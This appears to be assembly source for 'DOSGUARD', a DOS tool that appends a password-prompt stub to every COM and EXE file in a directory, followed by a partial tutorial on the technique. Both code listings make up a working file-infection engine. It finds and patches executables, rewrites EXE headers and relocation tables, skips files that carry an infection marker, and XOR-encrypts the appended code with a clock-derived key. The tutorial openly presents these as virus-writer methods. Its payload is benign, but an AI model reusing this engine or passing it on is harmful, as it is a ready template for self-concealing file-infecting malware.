mov cx, 1Ch ;Write out the new header
mov dx, offset exehead
mov ah, 40h
int 21h
;modify relocatables table
mov ax, word ptr [exehead+6];Get the # of relocatables
dec ax ;Position to add relocatable equals
dec ax ;(# - 2)*4 + table offset
mov cx, 4
mul cx
add ax, word ptr [exehead+24]
adc dx, 0
mov cx, dx
mov dx, ax
mov ax, 4200h ;move file pointer to position
int 21h
;Use exehead as a buffer for relocatables.
;Put two pointers in this buffer, first points to ss in
;hosts and second points to cs in hostc.
mov word ptr [exehead], ENDGUARD2 - EXEGUARD - 10
mov ax, word ptr [exehead+22]
mov word ptr [exehead+2], ax
mov word ptr [exehead+4], ENDGUARD2 - EXEGUARD - 4
mov word ptr [exehead+6], ax
mov cx, 8
mov dx, offset exehead
mov ah, 40h ;Write the 8 bytes.
int 21h
mov ah, 3Eh ;Close the file.
int 21h
ret ;Done!
;-------------------------------------------------------------------------
;Procedure to calculate the amount that needs to be written
;-------------------------------------------------------------------------
CALC_SIZE:
;dx holds the position in the file where we want to start reading.
;So, the amount to read in and write back out is equal to the size
;of the file minus dx.
mov cx, word ptr [exehead+2]
mov word ptr [lps], cx ;Copy Last Page Size into lps
mov cx, word ptr [exehead+4];Copy Num Pages into cx
cmp dx, word ptr [lps] ;If bytes to subtract are less than
jbe FINDLPS ;lps then just subtract them and exit
mov ax, dx
xor dx, dx
mov cx, 512
div cx ;ax = pages to subtract
mov cx, word ptr [exehead+4];dx = remainder to subtract from lps
sub cx, ax
cmp dx, word ptr [lps]
jbe FINDLPS
sub cx, 1
mov ax, dx
sub ax, word ptr [lps]
mov dx, 512
sub dx, ax
FINDLPS:
sub word ptr [lps], dx ;Subtract start position and leave
;Num Pages the same
ret
;-------------------------------------------------------------------------
;Procedure to read the EXE Header
;-------------------------------------------------------------------------
READ_HEADER:
xor cx, cx ;Move the file pointer back
xor dx, dx ;to the beginning of the file
mov ax, 4200h
int 21h
mov cx, 1Ch ;read exe header (28 bytes)
mov dx, offset exehead ;into buffer
mov ah, 3Fh
int 21h
ret ;return with cf set properly
;-------------------------------------------------------------------------
;Procedure to read a page
;-------------------------------------------------------------------------
READ_PAGE:
push ax
push cx
mov ah, 3Fh
mov cx, 512
int 21h
pop cx
pop ax
ret
;-------------------------------------------------------------------------
;Procedure to read a paragraph
;-------------------------------------------------------------------------
READ_PARA:
push ax
push cx
mov ah, 3Fh
mov cx, 16
int 21h
pop cx
pop ax
ret
;-------------------------------------------------------------------------
;Procedure to write a page
;-------------------------------------------------------------------------
WRITE_PAGE:
push ax
push cx
push dx
mov ah, 40h
mov cx, 512
mov dx, offset buffer
int 21h
pop dx
pop cx
pop ax
ret
;-------------------------------------------------------------------------
;Procedure to write a paragraph
;-------------------------------------------------------------------------
WRITE_PARA:
push ax
push cx
push dx
mov ah, 40h
mov cx, 16
mov dx, offset buffer
int 21h
pop dx
pop cx
pop ax
ret
;-------------------------------------------------------------------------
;Procedure to move file pointer back a page
;-------------------------------------------------------------------------
DECFP_PAGE:
push ax
push cx
push dx
mov ax, 4201h
mov cx, -1
mov dx, -512
int 21h
pop dx
pop cx
pop ax
ret
;-------------------------------------------------------------------------
;Procedure to move file pointer back a para
;-------------------------------------------------------------------------
DEC_PARA:
push ax
push cx
push dx
mov ax, 4201h
mov cx, -1
mov dx, -16
int 21h
pop dx
pop cx
pop ax
ret
;-------------------------------------------------------------------------
;Procedure to move the paragraph buffer to the front
;-------------------------------------------------------------------------
MOVE_PARA:
push cx
mov si, offset para
mov di, offset buffer
mov cx, 16
rep movsb
pop cx
ret
;-------------------------------------------------------------------------
;Code to add to COM files
;-------------------------------------------------------------------------
COMGUARD:
call GET_START
GET_START:
pop bp
sub bp, offset GET_START
mov ah, 9h ;DOS print string
lea dx, [bp + prompt] ;Print the password prompt
int 21h
lea di, [bp + guess]
xor cx, cx
READLOOP:
mov ah, 7h ;Read without echo
int 21h
inc cx ;Count of characters entered
stosb ;Store guess for comparison later
cmp cx, 10 ;Limit guess to 10 chars including CR
je CHECKPASS
cmp al, 13 ;Quit loop when CR read
jne READLOOP
CHECKPASS:
lea di, [bp + guess] ;Setup for passwd checking loop
lea si, [bp +passwd] ;Setup addresses for cmpsb
xor cx, cx ;Set counter to zero
cld ;Tell cmpsb to increment si and di
CHECKLOOP:
cmpsb ;Compare passwd with guess
jne FAIL ;Abort program if password is wrong
inc cx ;Increment counter
cmp cx, 8 ;Only check first 8 chars
jne CHECKLOOP ;Loop until you've read first 8
SUCCESS:
mov cx, 5
cld
lea si, [bp + obytes]
mov di, 100h
rep movsb
push 100h ;return from the jump to execute
ret ;the host program
FAIL:
mov ah, 9h ;DOS print string
lea dx, [bp + badpass] ;Print bad password msg
int 21h
mov ax, 4C00h
int 21h
prompt DB 'password: ','$'
badpass DB 'Invalid password!','$'
passwd DB 'smcrocks'
guess DB 10 dup (0)
obytes DB 0,0,0,0,0
ENDGUARD:
;-------------------------------------------------------------------------
;Code to add to EXE files
;-------------------------------------------------------------------------
EXEGUARD:
push ax ;Save startup value in ax
push ds ;Save value of ds
mov ax, cs ;Put cs into ds and es
mov ds, ax
mov es, ax
mov bp, offset ENDGUARD2 - offset EXEGUARD
mov ax, [bp-4]
mov ah, 9h ;DOS print string
lea dx, [bp-57] ;Print the password prompt
int 21h
lea di, [bp-20]
xor cx, cx
EREADLOOP:
mov ah, 7h ;Read without echo
int 21h
inc cx ;Count of characters entered
stosb ;Store guess for comparison later
cmp cx, 10 ;Limit guess to 10 chars including CR
je ECHECKPASS
cmp al, 13 ;Quit loop when CR read
jne EREADLOOP
ECHECKPASS:
lea di, [bp-20] ;Setup for passwd checking loop
lea si, [bp-28] ;Setup addresses for cmpsb
xor cx, cx ;Set counter to zero
cld ;Tell cmpsb to increment si and di
ECHECKLOOP:
cmpsb ;Compare passwd with guess
jne EFAIL ;Abort program if password is wrong
inc cx ;Increment counter
cmp cx, 8 ;Only check first 8 chars
jne ECHECKLOOP ;Loop until you've read first 8
ESUCCESS:
pop ds
mov ax, ds
mov es, ax
pop ax
cli
mov ss, word ptr cs:[bp-10]
mov sp, word ptr cs:[bp-8]
sti
xor cx, cx
xor dx, dx
xor bp, bp
xor si, si
xor di, di
lahf
xor ah, ah
sahf
jmp dword ptr cs:[ENDGUARD2-EXEGUARD-6]
EFAIL:
mov ah, 9h ;DOS print string
lea dx, [bp-46] ;Print bad password msg
int 21h
mov ax, 4C00h
int 21h
eprompt DB 'password: ','$'
ebadpass DB 'Invalid password!','$'
epasswd DB 'smcrocks'
eguess DB 10 dup (0)
hosts DW 0, 0
hostc DW 0, 0
delta DW 0
ENDGUARD2:
filter1 DB '*.com',0
filter2 DB '*.exe',0
bytes DB 0,0,0,'CG'
exehead DB 28 dup (0)
buffer DB 512 dup (0)
para DB 16 dup (0)
lps DW 0
END START
Dosguard with self-encryption.
.model tiny
.code
ORG 100h
START:
jmp BEGINCODE ;Jump the identification string
DB 'CG'
BEGINCODE:
mov dx, offset filter1
call FIND_FILES
mov dx, offset filter2
call FIND_FILES
mov ax, 4C00h ;DOS terminate
int 21h
;-------------------------------------------------------------------------
;Procedure to find and then infect files
;-------------------------------------------------------------------------
FIND_FILES:
mov ah, 4Eh ;Search for files matching filter
int 21h
SLOOP:
jc DONE
mov ax, 3D02h ;Open file R/W
mov dx, 9Eh ;Filename, stored in DTA
int 21h
mov bx, ax ;Save file handle in bx
mov ax, 3F00h ;Read first 5 bytes from file
mov cx, 5
mov dx, offset obytes
int 21h
;Check to see if file is really an EXE
cmp word ptr[obytes], 'ZM'
je EXE
COM:
;Check to see if file is already infected
;if it is, then skip it
cmp word ptr [obytes + 3], 'GC'
je NO_INFECT
;Make sure file isn't too large
mov ax, ds:[009Ah] ;Size of file
add ax, offset ENDGUARD - offset COMGUARD + 100h
jc NO_INFECT ;If ax overflows then don't infect
;If we made it this far then we know the file is safe to modify
call INFECT_COM
jmp NO_INFECT
EXE:
;Read the EXE Header
call READ_HEADER
jc NO_INFECT ;error reading file so skip it
;Make sure it hasn't already been infected
;If (initial CS * 16) + (size of EXEGUARD) + (size of header) == filesize
; then the file has already been infected
mov ax, word ptr [exehead+22]
mov dx, 16
mul dx
add ax, offset ENDGUARD2 - offset EXEGUARD
adc dx, 0
mov cx, word ptr [exehead+8]
add cx, cx
add cx, cx
add cx, cx
add cx, cx
add ax, cx
adc dx, 0
cmp ax, word ptr cs:[9Ah]
jne EXEOK
cmp dx, word ptr cs:[9Ch]
je NO_INFECT
EXEOK:
;Make sure Overlay Number is 0
cmp word ptr [exehead+26], 0
jnz NO_INFECT
;Make sure it is a DOS EXE (as opposed to windows or OS/2
cmp word ptr [exehead+24], 40h
jae NO_INFECT
call INFECT_EXE
NO_INFECT:
mov ax, 4F00h ;Find next file
int 21h
jmp SLOOP
DONE:
ret
;-------------------------------------------------------------------------
;Procedure to infect COM files
;-------------------------------------------------------------------------
INFECT_COM:
xor cx, cx ;cx = 0
xor dx, dx ;dx = 0
mov ax, 4202h ;Move file pointer to the end of file
int 21h
;Encrypt the code before we write it out
mov si, offset ENCRYPTED ;si and di set to address to start
mov di, si ;encrypting.
in al, 40h ;Grab random key from the system clock
mov [comkey], al ;The encryption key
mov dl, al
mov cx, COMCRYPT - ENCRYPTED;Size of code to encrypt
call COMCRYPT ;The encryption function
mov ax, 4000h ;Write the code to the end of file
mov dx, offset COMGUARD
mov cx, offset ENDGUARD - offset COMGUARD
int 21h
mov ax, 4200h ;Move file pointer to beginning of
xor cx, cx ; file to write jump
xor dx, dx
int 21h
;Prepare the jump instruction to be written to beginning of file
xor ax, ax
mov byte ptr [bytes], 0E9h ;opcode for jmp
mov ax, ds:[009Ah] ;size of the file
sub ax, 3 ;size of the jump instruction
mov word ptr [bytes + 1], ax;size of the jump
;Write the jump
mov cx, 5; ;size to be written
mov dx, offset bytes
mov ax, 4000h
int 21h
mov ah, 3Eh ;Close file
int 21h
ret
;-------------------------------------------------------------------------
;Procedure to infect EXE files
;-------------------------------------------------------------------------
INFECT_EXE:
;Check the relocation pointer table to see if there is
;room. If there isn't then we'll have to make room.
mov ax, word ptr [exehead+8];size of header in paragraphs
add ax, ax ;
add ax, ax ;Convert to double words.
sub ax, word ptr [exehead+6];Subtract # of entries each of
add ax, ax ;which is a double word and then
add ax, ax ;convert the final total to bytes.
sub ax, word ptr [exehead+24];If there are 8 bytes left after
cmp ax, 8 ;you subtract the offset to the
jc NOROOM ;reloc table then there is room.
jmp HAVEROOM
NOROOM:
;Not enough room in the relocation table so we are going to
;have to add a paragraph to the table. As a result, we must
;read in the whole file after the relocation table and write
;it back out one paragraph down in memory.
xor cx, cx ;Move the file pointer to the end of
mov dx, word ptr [exehead+24] ;the relocation pointer table.
mov ax, word ptr [exehead+6];size of relocation table in doubles
add ax, ax ;* 4 to get bytes
add ax, ax
add dx, ax ;add that to start of table
push dx
mov ax, 4200h
int 21h
pop dx
call CALC_SIZE
cmp cx, 1
je LASTPAGE
mov dx, offset buffer
call READ_PAGE
mov dx, offset para
call READ_PARA
call DECFP_PAGE
call WRITE_PAGE
call MOVE_PARA
dec cx
cmp cx, 1
je LASTPAGE
MOVELOOP:
mov dx, offset buffer + 16
call READ_PAGE
call DECFP_PAGE
call WRITE_PAGE
call MOVE_PARA
dec cx
cmp cx, 1
jne MOVELOOP
LASTPAGE:
sub word ptr [lps], 16
mov cx, word ptr [lps]
mov dx, offset buffer + 16
mov ah, 3Fh
int 21h
push cx
mov dx, cx
neg dx
mov cx, -1
mov ax, 4201h
int 21h
pop cx
add cx, 16
mov dx, offset buffer
mov ah, 40h
int 21h
;Got to adjust the file size since it will be used later
add word ptr cs:[9Ah], 16
adc word ptr cs:[9Ch], 0
;Increment the header size within the EXE header
add word ptr cs:[exehead+8], 1
;Change Page Count and Last Page Size in EXE header
cmp word ptr [exehead+2], 496
jae ADDPAGE
add word ptr [exehead+2], 16
jmp HAVEROOM
ADDPAGE:
;Adjust the header to add a page if the 16 additional bytes run
;over to a new page.
inc word ptr [exehead+4]
mov ax, 512
sub ax, word ptr [exehead+2]
mov dx, 16
sub dx, ax
mov word ptr [exehead+2], dx
HAVEROOM:
mov ax, word ptr [exehead+14] ;save orig stack segment
mov [hosts], ax
mov ax, word ptr [exehead+16] ;save orig stack pointer
mov [hosts+2], ax
mov ax, word ptr [exehead+20] ;save orig ip
mov [hostc], ax
mov ax, word ptr [exehead+22] ;save orig cs
mov [hostc+2], ax
mov cx, word ptr cs:[9Ch] ;adjust file length to paragraph
mov dx, word ptr cs:[9Ah] ; boundary
or dl, 0Fh
add dx, 1
adc cx, 0
mov cs:[9Ch], cx
mov cs:[9Ah], dx
mov ax, 4200h ;move file pointer to end of file
int 21h ;plus boundary
;Encrypt the code before we write it out
mov si, offset ENCRYPTED2 ;si and di set to address to start
mov di, si ;encrypting
in al, 40h ;grab random key from the system clock
mov [exekey], al ;the encryption key
mov dl, al
mov cx, ENDENC - ENCRYPTED2 ;Size of code to encrypt
call EXECRYPT ;The encryption function
mov cx, offset ENDGUARD2 - offset EXEGUARD ;write code to end
mov dx, offset EXEGUARD ;of the exe file
mov ah, 40h
int 21h
xor cx, cx ;Move file pointer to beginning of file
xor dx, dx
mov ax, 4200h
int 21h
;adjust the EXE header and then write it back out
mov ax, word ptr cs:[9Ah] ;calculate module's CS
mov dx, word ptr cs:[9Ch] ;ax:dx contains orig file size
mov cx, 16 ;CS = file size / 16 - header size
div cx
sub ax, word ptr [exehead+8];header size in paragraphs
mov word ptr [exehead+22], ax ;ax is now initial cs
mov word ptr [exehead+14], ax ;ax is now initial ss
mov word ptr [exehead+20], 0 ;initial ip
mov word ptr [exehead+16], offset ENDGUARD2 - offset EXEGUARD + 100h ;initial sp
mov dx, word ptr cs:[9Ch] ;calculate new size file size
mov ax, word ptr cs:[9Ah]
add ax, offset ENDGUARD2 - offset EXEGUARD + 200h
adc dx, 0
mov cx, 200h
div cx
mov word ptr [exehead+4], ax
mov word ptr [exehead+2], dx
add word ptr [exehead+6], 2
mov cx, 1Ch ;Write out the new header
mov dx, offset exehead
mov ah, 40h
int 21h
;modify relocatables table
mov ax, word ptr [exehead+6];Get the # of relocatables
dec ax ;Position to add relocatable equals
dec ax ;(# - 2)*4 + table offset
mov cx, 4
mul cx
add ax, word ptr [exehead+24]
adc dx, 0
mov cx, dx
mov dx, ax
mov ax, 4200h ;move file pointer to position
int 21h
;Use exehead as a buffer for relocatables.
;Put two pointers in this buffer, first points to ss in
;hosts and second points to cs in hostc.
mov word ptr [exehead], ENDGUARD2 - EXEGUARD - 10
mov ax, word ptr [exehead+22]
mov word ptr [exehead+2], ax
mov word ptr [exehead+4], ENDGUARD2 - EXEGUARD - 4
mov word ptr [exehead+6], ax
mov cx, 8
mov dx, offset exehead
mov ah, 40h ;Write the 8 bytes.
int 21h
mov ah, 3Eh ;Close the file.
int 21h
ret ;Done!
;-------------------------------------------------------------------------
;Procedure to calculate the amount that needs to be written
;-------------------------------------------------------------------------
CALC_SIZE:
;dx holds the position in the file where we want to start reading.
;So, the amount to read in and write back out is equal to the size
;of the file minus dx.
mov cx, word ptr [exehead+2]
mov word ptr [lps], cx ;Copy Last Page Size into lps
mov cx, word ptr [exehead+4];Copy Num Pages into cx
cmp dx, word ptr [lps] ;If bytes to subtract are less than
jbe FINDLPS ;lps then just subtract them and exit
mov ax, dx
xor dx, dx
mov cx, 512
div cx ;ax = pages to subtract
mov cx, word ptr [exehead+4];dx = remainder to subtract from lps
sub cx, ax
cmp dx, word ptr [lps]
jbe FINDLPS
sub cx, 1
mov ax, dx
sub ax, word ptr [lps]
mov dx, 512
sub dx, ax
FINDLPS:
sub word ptr [lps], dx ;Subtract start position and leave
;Num Pages the same
ret
;-------------------------------------------------------------------------
;Procedure to read the EXE Header
;-------------------------------------------------------------------------
READ_HEADER:
xor cx, cx ;Move the file pointer back
xor dx, dx ;to the beginning of the file
mov ax, 4200h
int 21h
mov cx, 1Ch ;read exe header (28 bytes)
mov dx, offset exehead ;into buffer
mov ah, 3Fh
int 21h
ret ;return with cf set properly
;-------------------------------------------------------------------------
;Procedure to read a page
;-------------------------------------------------------------------------
READ_PAGE:
push ax
push cx
mov ah, 3Fh
mov cx, 512
int 21h
pop cx
pop ax
ret
;-------------------------------------------------------------------------
;Procedure to read a paragraph
;-------------------------------------------------------------------------
READ_PARA:
push ax
push cx
mov ah, 3Fh
mov cx, 16
int 21h
pop cx
pop ax
ret
;-------------------------------------------------------------------------
;Procedure to write a page
;-------------------------------------------------------------------------
WRITE_PAGE:
push ax
push cx
push dx
mov ah, 40h
mov cx, 512
mov dx, offset buffer
int 21h
pop dx
pop cx
pop ax
ret
;-------------------------------------------------------------------------
;Procedure to write a paragraph
;-------------------------------------------------------------------------
WRITE_PARA:
push ax
push cx
push dx
mov ah, 40h
mov cx, 16
mov dx, offset buffer
int 21h
pop dx
pop cx
pop ax
ret
;-------------------------------------------------------------------------
;Procedure to move file pointer back a page
;-------------------------------------------------------------------------
DECFP_PAGE:
push ax
push cx
push dx
mov ax, 4201h
mov cx, -1
mov dx, -512
int 21h
pop dx
pop cx
pop ax
ret
;-------------------------------------------------------------------------
;Procedure to move file pointer back a para
;-------------------------------------------------------------------------
DEC_PARA:
push ax
push cx
push dx
mov ax, 4201h
mov cx, -1
mov dx, -16
int 21h
pop dx
pop cx
pop ax
ret
;-------------------------------------------------------------------------
;Procedure to move the paragraph buffer to the front
;-------------------------------------------------------------------------
MOVE_PARA:
push cx
mov si, offset para
mov di, offset buffer
mov cx, 16
rep movsb
pop cx
ret
;-------------------------------------------------------------------------
;Code to add to COM files
;-------------------------------------------------------------------------
COMGUARD:
call GET_START
GET_START:
pop bp
sub bp, offset GET_START ;Calculate delta offset
lea si, [bp + ENCRYPTED] ;Set si and di to address of the
mov di, si ;the encrypted code.
mov dl, [bp + offset comkey];Get the encryption key
mov cx, COMCRYPT - ENCRYPTED;Calculate size of code to decrypt
call COMCRYPT ;Decrypt
ENCRYPTED:
mov ah, 9h ;DOS print string
lea dx, [bp + prompt] ;Print the password prompt
int 21h
lea di, [bp + guess]
xor cx, cx
READLOOP:
mov ah, 7h ;Read without echo
int 21h
inc cx ;Count of characters entered
stosb ;Store guess for comparison later
cmp cx, 10 ;Limit guess to 10 chars including CR
je CHECKPASS
cmp al, 13 ;Quit loop when CR read
jne READLOOP
CHECKPASS:
lea di, [bp + guess] ;Setup for passwd checking loop
lea si, [bp +passwd] ;Setup addresses for cmpsb
xor cx, cx ;Set counter to zero
cld ;Tell cmpsb to increment si and di
CHECKLOOP:
cmpsb ;Compare passwd with guess
jne FAIL ;Abort program if password is wrong
inc cx ;Increment counter
cmp cx, 8 ;Only check first 8 chars
jne CHECKLOOP ;Loop until you've read first 8
SUCCESS:
mov cx, 5
cld
lea si, [bp + obytes]
mov di, 100h
rep movsb
push 100h ;return from the jump to execute
ret ;the host program
FAIL:
mov ah, 9h ;DOS print string
lea dx, [bp + badpass] ;Print bad password msg
int 21h
mov ax, 4C00h
int 21h
prompt DB 'password: ','$'
badpass DB 'Invalid password!','$'
passwd DB 'smcrocks'
guess DB 10 dup (0)
obytes DB 0,0,0,0,0
;-------------------------------------------------------------------------
;Code to en(de)crypt com files
;-------------------------------------------------------------------------
COMCRYPT: ;Simple xor encryption algorithim
lodsb
xor al, dl
stosb
loop COMCRYPT
ret
comkey DB 1Fh
ENDGUARD:
;-------------------------------------------------------------------------
;Code to add to EXE files
;-------------------------------------------------------------------------
EXEGUARD:
push ax ;Save startup value in ax
mov bp, ENDGUARD2 - EXEGUARD;Calc offset of ENDGUARD2
push ds ;Save value of ds
mov ax, cs ;Put cs into ds and es
mov ds, ax
mov es, ax
jmp DECRYPT
;-----------------------------
;Code to en(de)crypt exe files
;-----------------------------
EXECRYPT: ;simple xor encryption algorithim
lodsb
xor al, dl
stosb
loop EXECRYPT
ret
;-----------------------------
DECRYPT:
mov di, bp ;Calculate the address of ENCRYPTED2
sub di, ENDGUARD2 - ENCRYPTED2
lea si, [di] ;Set si and di to address of the
mov di, si ;encrypted code.
mov dl, [bp-2] ;Read encryption key
mov cx, ENDENC - ENCRYPTED2 ;Calculate amount to decrypt
call EXECRYPT ;Decrypt
ENCRYPTED2:
mov ax, [bp-4]
mov ah, 9h ;DOS print string
lea dx, [bp-57] ;Print the password prompt
int 21h
lea di, [bp-20]
xor cx, cx
EREADLOOP:
mov ah, 7h ;Read without echo
int 21h
inc cx ;Count of characters entered
stosb ;Store guess for comparison later
cmp cx, 10 ;Limit guess to 10 chars including CR
je ECHECKPASS
cmp al, 13 ;Quit loop when CR read
jne EREADLOOP
ECHECKPASS:
lea di, [bp-20] ;Setup for passwd checking loop
lea si, [bp-28] ;Setup addresses for cmpsb
xor cx, cx ;Set counter to zero
cld ;Tell cmpsb to increment si and di
ECHECKLOOP:
cmpsb ;Compare passwd with guess
jne EFAIL ;Abort program if password is wrong
inc cx ;Increment counter
cmp cx, 8 ;Only check first 8 chars
jne ECHECKLOOP ;Loop until you've read first 8
ESUCCESS:
pop ds ;Restore registers and pass control
mov ax, ds ;to the main program.
mov es, ax
pop ax
cli
mov ss, word ptr cs:[bp-10]
mov sp, word ptr cs:[bp-8]
sti
xor cx, cx
xor dx, dx
xor bp, bp
xor si, si
xor di, di
lahf
xor ah, ah
sahf
jmp dword ptr cs:[ENDGUARD2-EXEGUARD-6]
EFAIL:
mov ah, 9h ;DOS print string
lea dx, [bp-46] ;Print bad password msg
int 21h
mov ax, 4C00h
int 21h
eprompt DB 'password: ','$'
ebadpass DB 'Invalid password!','$'
epasswd DB 'smcrocks'
ENDENC:
eguess DB 10 dup (0)
hosts DW 0, 0
hostc DW 0, 0
exekey DB 0
blank DB 0
ENDGUARD2:
filter1 DB '*.com',0
filter2 DB '*.exe',0
bytes DB 0,0,0,'CG'
exehead DB 28 dup (0)
buffer DB 512 dup (0)
para DB 16 dup (0)
lps DW 0
END START
A tutorial on DOS file modification based on what I learned from writing Dosguard.
::/ \::::::.
:/___\:::::::.
/| \::::::::.
:| _/\:::::::::.
:| _|\ \::::::::::.
:::\_____\:::::::::::.................................EXTENDING DOS EXECUTABLES
by Digital Alchemist
The reason behind this essay is to show how techniques first developed by virus
writers can be used for benevolent purposes. It is my opinion that all
knowledge is good and viral techniques are certainly no exception. I will lead
you through the development of a program called DOSGUARD which benignly
modifies DOS executables, both COM and EXE.
DESCRIPTION OF DOSGUARD
-----------------------
DOSGUARD is a DOS COM program which I developed in order to restrict access to
certain programs on my computer. DOSGUARD modifies all of the COM and EXE
files in the current directory, adding code to each one that requires the user
to correctly enter a password before running the original program.
DOSGUARD, while sufficient for this article, could use a little work in the
realm of user friendliness. More user feedback and a better way to specify
which files to be modified are needed. In addition, I have written a version
of DOSGUARD that uses simple xor encryption to improve security.
DOSGUARD was written using turbo assembler.
STRUCTURE OF COM FILES
----------------------
Unlike the EXE file format, the programmer has no input into the segment format
of COM files. All COM files consist of 1 segment only, with no predefined
distinction between data and code. After DOS finishes some preparatory work,
the COM file is loaded at offset 100h. The first 256 bytes are known as the
Program Segment Prefix(PSP). Located at offset 80h is an important data
structure called the DTA or Data Transfer Area. The DTA is important, but most
of the rest of the PSP can be ignored by the programmer. Before actually
starting execution of the COM program, DOS sets up the stack at the top of the
segment(the highest memory address).
OUTLINE OF COM MODIFICATION
---------------------------
1. Open the file and read 1st 5 bytes.
2. Make sure the file is not really an EXE file because after DOS 6.0 some
files ending in ".com" were really EXEs.
3. Check to see if the file has already been modified by DOSGUARD by checking
if the values of the 4th and 5th bytes match the DOSGUARD identification
string of "CG".
4. Make sure the file is not so large that when DOSGUARD adds its code it
doesn't exceed the 64k segment size.
5. If the file passes 2-4 then its ok to modify, so DOSGUARD opens it and
writes the code to the end of the file.
6. Calculate the size of the jump to the code we added and write the jump
instruction along with the identification string to the beginning of the
file.
I'll go over each of these steps in a little more detail with code snippets
where necessary. The complete source code for DOSGUARD can be found at the
end of the article and at my web page. Hopefully, the comments will be enough
to explain any areas I don't discuss in detail.
Essentially, the way DOSGUARD modifies COM files is by inserting a jump at the
beginning of the file which goes straight to the password authentication code,
located at the end of the file. If the correct password is entered by the
user, then it will restore the 5 bytes that were overwritten by the jump and
the identification string and execute the program just like DOSGUARD was never
there.
COM MODIFICATION - STEP 1
-------------------------
Once we've found a COM file, the first thing to do is open it. Then, after
running some tests on the file, we can determine if it is suitable for
modification. But first, we need to read the first 5 bytes because we'll
need them later.
mov ax, 3D02h ;Open file R/W
mov dx, 9Eh ;Filename, stored in DTA
int 21h
mov bx, ax ;Save file handle in bx
mov ax, 3F00h ;Read first 5 bytes from file
mov cx, 5
mov dx, offset obytes
int 21h
COM MODIFICATION - STEP 2
-------------------------
After DOS 6.0, some files with the COM extension are actually EXEs.
COMMAND.COM, for instance, is one of these. If we try to modify an EXE file as
if it were a COM file, then we're going to really screw things up. To prevent
this, we make sure that the string "MZ" doesn't appear in the first two bytes of
the file. "MZ" is the string which tells DOS that a file is an EXE.
;Check to see if file is really an EXE
cmp word ptr[obytes], 'ZM'
je EXE
COM MODIFICATION - STEP 3
-------------------------
If the file had been previously altered by DOSGUARD, then the 4th and 5th bytes
will contain the identification string "CG". We need to make sure we skip files
that have this identification string.
;Check to see if file is already infected
;if it is, then skip it
cmp word ptr [obytes + 3], 'GC'
je NO_INFECT
COM MODIFICATION - STEP 4
-------------------------
Another thing to watch out for is the file's size. If the file will exceed
one segment in size when we add our code, then the file is too big to modify.
;Make sure file isn't too large
mov ax, ds:[009Ah] ;Size of file from DTA
add ax, offset ENDGUARD - offset COMGUARD + 100h
jc NO_INFECT ;If ax overflows then don't infect
COM MODIFICATION - STEP 5
-------------------------
If the file is a suitable candidate for modification, then we simply write our
code to the end of the file. Also, we have to save the original first 5 bytes
from the file somewhere in your code. In DOSGUARD's case, the 5 bytes are
already saved in the proper place because "obytes" is located within the code
which we are about to write.
xor cx, cx ;cx = 0
xor dx, dx ;dx = 0
mov ax, 4202h ;Move file pointer to the end of file
int 21h
mov ax, 4000h ;Write the code to the end of file
mov dx, offset COMGUARD
mov cx, offset ENDGUARD - offset COMGUARD
int 21h
COM MODIFICATION - STEP 6
-------------------------
The final step is to calculate the size of the jump to our code and write the
opcode for the jump and the identification string over the first 5 bytes of the
file.
mov ax, 4200h ;Move file pointer to beginning of
xor cx, cx ; file to write jump
xor dx, dx
int 21h
;Prepare the jump instruction to be written to beginning of file
xor ax, ax
mov byte ptr [bytes], 0E9h ;opcode for jmp
mov ax, ds:[009Ah] ;size of the file
sub ax, 3 ;size of the jump instruction
mov word ptr [bytes + 1], ax;size of the jump
;Write the jump
mov cx, 5; ;size to be written
mov dx, offset bytes
mov ax, 4000h
int 21h
mov ah, 3Eh ;Close file
int 21h
RESPONSIBILITIES OF INSERTED CODE
--------------------------------
There are two problems which the inserted code has to deal with. First, since
the code could be located at any arbitrary offset within the segment, it cannot
depend on the compiled absolute addresses of its data labels. To solve this
problem we use a technique virus writers call the delta offset. The delta
offset is the difference between the actual and compiled addresses of data.
Anytime our code accesses data in memory it adds the delta offset to the data's
compiled address. The following piece of code finds the delta offset.
call GET_START
GET_START:
pop bp
sub bp, offset GET_START
The "call" pushes the current ip onto the stack, which is the actual address of
the label "GET_START." Subtract the compiled address from the actual one and
there's our delta offset.
The second problem is to make sure the first 5 bytes of the host are restored to
their original values before we return from our jump and execute the host.
STRUCTURE OF EXE FILES
----------------------
The EXE file format is much more complicated than the COM format. The big
difference is that EXE files allow the program to specify how it wants its
segments to be laid out in memory, allowing programs to exceed one 64k segment
in size. Most EXEs will have separate code, data, and stack segments.
All of this information is stored in the EXE Header. Here's a brief rundown of
what the header looks like:
Offset Size Field
0 2 Signature. Will always be 'MZ'
2 2 Last Page Size. Number of bytes on the last
page of memory.
4 2 Page Count. Number of 512 byte pages in the file.
6 2 Relocation Table Entries. Number of items in the
relocation pointer table.
8 2 Header Size. Size of header in paragraphs,
including the relocation pointer table.
10 2 Minalloc
12 2 Maxalloc
14 2 Initial Stack Segment.
16 2 Initial Stack Pointer.
18 2 Checksum. (Usually ignored)
20 2 Initial Instruction Pointer
22 2 Initial Code Segment
24 2 Relocation Table Offset. Offset to the start of
the relocation pointer table.
26 2 Overlay Number. Primary executables(the ones we
wish to modify) always have this set to zero.
Following the EXE header is the relocation pointer table, with a variable
amount of blank space between the header and the start of the table. The
relocation table is a table of offsets. These offsets are combined with
starting segment values calculated by DOS to point to a word in memory where
the final segment address is written. Essentially, the relocation pointer
table is DOS's way to handle the dynamic placement of segments into physical
memory. This isn't a problem with COM files because there is only one segment
and the program isn't aware of anything else. Following the relocation pointer
table is another variable amount of reserved space and finally the program
body.
To successfully add code to an EXE file requires careful manipulation of the EXE
header and relocation pointer table.
OUTLINE OF EXE MODIFICATION
---------------------------
1. Open the file and read the 1st 2 bytes(DOSGUARD actually reads 5).
2. Check for EXE signature "MZ".
3. Read the EXE header.
4. Check the file for previous infection.
5. Make sure that the Overlay Number is 0.
6. Make sure the file is a DOS EXE.
7. If the file passes 2-6 then it is ok to modify. The first step is to check
the relocation pointer table to see if there is room to add 2 pointers. If
there is room, then jump to step 9.
8. If there isn't enough room in the relocation pointer table, then DOSGUARD
has to make room. It reads in the entire file after the relocation pointer
table and writes it back out one paragraph higher in memory.
9. Save the original ss, sp, cs, and ip.
10. Adjust the file length to paragraph boundary.
11. Write code to the end of the file.
12. Adjust the EXE header to reflect the new starting segments and file size.
13. Write out the header.
14. Modify the relocation pointer table.
The easiest way to think about EXE modification is to imagine that we are
adding a complete COM program to the end of the file. Our code will occupy its
own segment located just after the host. This one segment will serve as a code,
data, and stack segment just like in a COM program. Instead of inserting a jump
to take us there, we will simply adjust the starting segment values in the EXE
header to point to our segment.
EXE MODIFICATION - STEP 1
-------------------------
